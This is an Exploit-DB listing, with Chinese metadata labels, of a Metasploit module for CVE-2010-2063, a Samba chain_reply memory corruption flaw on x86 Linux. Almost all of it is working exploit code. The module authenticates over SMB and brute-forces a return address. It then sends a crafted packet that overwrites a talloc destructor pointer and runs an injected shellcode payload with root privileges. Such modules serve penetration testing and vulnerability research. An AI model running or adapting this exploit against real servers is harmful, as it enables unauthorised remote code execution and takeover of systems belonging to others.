标题: Samba 3.3.12 (Linux x86) - 'chain_reply' Memory Corruption (Metasploit) EDB-ID: 16860 CVE: 2010-2063 类型: REMOTE 平台: LINUX_X86 发布日期: 2010-09-04 漏洞利用脚本: ##
# $Id: chain_reply.rb 10238 2010-09-04 02:10:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::SMB
 include Msf::Exploit::Brute

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Samba chain_reply Memory Corruption (Linux x86)',
   'Description'    => %q{
     This exploits a memory corruption vulnerability present in Samba versions
    prior to 3.3.13. When handling chained response packets, Samba fails to validate
    the offset value used when building the next part. By setting this value to a
    number larger than the destination buffer size, an attacker can corrupt memory.
    Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will
    cause the header of the input buffer chunk to be corrupted.

    After close inspection, it appears that 3.0.x versions of Samba are not
    exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot
    cause memory to be corrupted in an exploitable way. It is possible to corrupt the
    heap header of the "InputBuffer", but it didn't seem possible to get the chunk
    to be processed again prior to process exit.

    In order to gain code execution, this exploit attempts to overwrite a "talloc
    chunk" destructor function pointer.

    This particular module is capable of exploiting the flaw on x86 Linux systems
    that do not have the nx memory protection.

    NOTE: It is possible to make exploitation attempts indefinitely since Samba forks
    for user sessions in the default configuration.
   },
   'Author'         => [ 'jduck' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10238 $',
   'References'     =>
    [
     [ 'CVE', '2010-2063' ],
     [ 'OSVDB', '65518' ],
     [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873' ]
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 0x600,
     'BadChars' => "",
    },
   'Platform'       => 'linux',
   'Targets'        =>
    [
     [ 'Linux (Debian5 3.2.5-4lenny6)',
      {
       'Offset2'      => 0x1fec,
       'Bruteforce'   =>
        {
         'Start' => { 'Ret' => 0x081ed5f2 }, # jmp ecx (smbd bin)
         'Stop'  => { 'Ret' => 0x081ed5f2 },
         'Step'  => 0x300 # not used
        }
      }
     ],

     [ 'Debugging Target',
      {
       'Offset2'      => 0x1fec,
       'Bruteforce'   =>
        {
         'Start' => { 'Ret' => 0xAABBCCDD },
         'Stop'  => { 'Ret' => 0xAABBCCDD },
         'Step'  => 0x300
        }
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jun 16 2010'))

  register_options(
   [
    Opt::RPORT(139)
   ], self.class)
 end

 #
 # Note: this code is duplicated from lib/rex/proto/smb/client.rb
 #
 # Authenticate using clear-text passwords
 #
 def session_setup_clear_ignore_response(user = '', pass = '', domain = '')

  data = [ pass, user, domain, self.simple.client.native_os, self.simple.client.native_lm ].collect{ |a| a + "\x00" }.join('');

  pkt = CONST::SMB_SETUP_LANMAN_PKT.make_struct
  self.simple.client.smb_defaults(pkt['Payload']['SMB'])

  pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
  pkt['Payload']['SMB'].v['Flags1'] = 0x18
  pkt['Payload']['SMB'].v['Flags2'] = 0x2001
  pkt['Payload']['SMB'].v['WordCount'] = 10
  pkt['Payload'].v['AndX'] = 255
  pkt['Payload'].v['MaxBuff'] = 0xffdf
  pkt['Payload'].v['MaxMPX'] = 2
  pkt['Payload'].v['VCNum'] = 1
  pkt['Payload'].v['PasswordLen'] = pass.length + 1
  pkt['Payload'].v['Capabilities'] = 64
  pkt['Payload'].v['SessionKey'] = self.simple.client.session_id
  pkt['Payload'].v['Payload'] = data

  self.simple.client.smb_send(pkt.to_s)
  ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
 end


 def brute_exploit(addrs)

  curr_ret = addrs['Ret']

  # Although ecx always points at our buffer, sometimes the heap data gets modified
  # and nips off the final byte of our 5 byte jump :(
  #
  # Solution: try repeatedly until we win.
  #
  50.times{

   begin
    print_status("Trying return address 0x%.8x..." %  curr_ret)

    connect
    self.simple.client.session_id = rand(31337)

    #select(nil,nil,nil,2)
    #puts "press any key"; $stdin.gets

    #
    # This allows us to allocate a talloc_chunk after the input buffer.
    # If doing so fails, we are lost ...
    #
    10.times {
     session_setup_clear_ignore_response('', '', '')
    }

    # We re-use a pointer from the stack and jump back to our original "inbuf"
    distance = target['Offset2'] - 0x80
    jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string

    tlen = 0xc00
    trans =
     "\x00\x04" +
     "\x08\x20" +
     "\xff"+"SMB"+
     # SMBlogoffX
     [0x74].pack('V') +
     # tc->next, tc->prev
     jmp_back + ("\x42" * 3) +
     #("A" * 4) + ("B" * 4) +
     # tc->parent, tc->child
     "CCCCDDDD" +
     # tc->refs, must be zero
     ("\x00" * 4) +
     # over writes tc->destructor
     [addrs['Ret']].pack('V') +
     "\x00\x00\x00\x00"+
     "\xd0\x07\x0c\x00"+
     "\xd0\x07\x0c\x00"+
     "\x00\x00\x00\x00"+
     "\x00\x00\x00\x00"+
     "\x00\x00\xd0\x07"+
     "\x43\x00\x0c\x00"+
     "\x14\x08\x01\x00"+
     "\x00\x00\x00\x00"+
     "\x00\x00\x00\x00"+
     "\x00\x00\x00\x00"+
     "\x00\x00\x00\x00"+
     "\x00\x00\x00\x00"+
     "\x00\x00\x00\x00"+
     "\x00\x00\x00\x00"+
     "\x00\x00\x90"

     # We put the shellcode first, since only part of this packet makes it into memory.
     trans << payload.encoded
     trans << rand_text(tlen - trans.length)

     # Set what eventually becomes 'smb_off2' to our unvalidated offset value.
     smb_off2 = target['Offset2']
     trans[39,2] = [smb_off2].pack('v')

     sock.put(trans)

    rescue EOFError
     # nothing
    rescue => e
     print_error("#{e}")
    end

    handler
    disconnect

    # See if we won yet..
    select(nil,nil,nil, 1)
    break if session_created?
   }
 end

end URL: https://www.exploit-db.com/exploits/16860